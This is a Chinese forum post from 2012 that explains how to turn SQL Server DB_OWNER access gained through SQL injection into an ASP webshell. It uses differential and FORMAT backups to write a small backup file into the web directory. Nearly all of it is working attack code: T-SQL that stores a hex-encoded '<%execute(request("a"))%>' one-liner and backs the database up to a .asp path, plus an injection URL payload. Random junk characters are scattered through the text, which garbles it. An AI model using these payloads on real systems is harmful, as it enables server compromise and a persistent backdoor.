DB_OWNER权限得到webshell的两点改进:
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减少备份文件大小，得到可执行的webshell成功率提高不少
1 r$ Y: x1 l W1 v u( U" k一利用差异备份2 i8 s4 S) z* E2 v( O# A$ S4 }5 B
加一个参数WITH DIFFERENTIAL- d% j8 B8 Y: _
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declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s6 H0 k! A6 c* ?8 p b
create table [dbo].[xiaolu] ([cmd] [image]);
1 u5 P, X4 T$ m# G) [7 iinsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
* d- r5 @9 [/ a- d$ @declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
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8 f& p8 W, e+ ^; v二利用完全FORMAT& A' N$ m, [* O
加一个参数WITH FROMAT
6 J7 {" M! b2 D+ D/ G有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以
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declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
. a1 G, \! Y8 B; T& e4 `create table [dbo].[xiaolu] ([cmd] [image]); t3 N( b! Y8 ?: I$ w9 p
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
( b4 T, e- a6 p) {) `7 jdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT 9 k/ T* h: x, G$ _
$ T1 O* n' ~ a4 @2 m. `总的来说就是那么简单几句,下面以备份数据库model为例子
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id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')
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id=1;backup database model to disk='你的路径‘ with differential,format;-- ; K" e( S+ t) _7 I" k8 i
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发表于 2012-11-9 21:31:07
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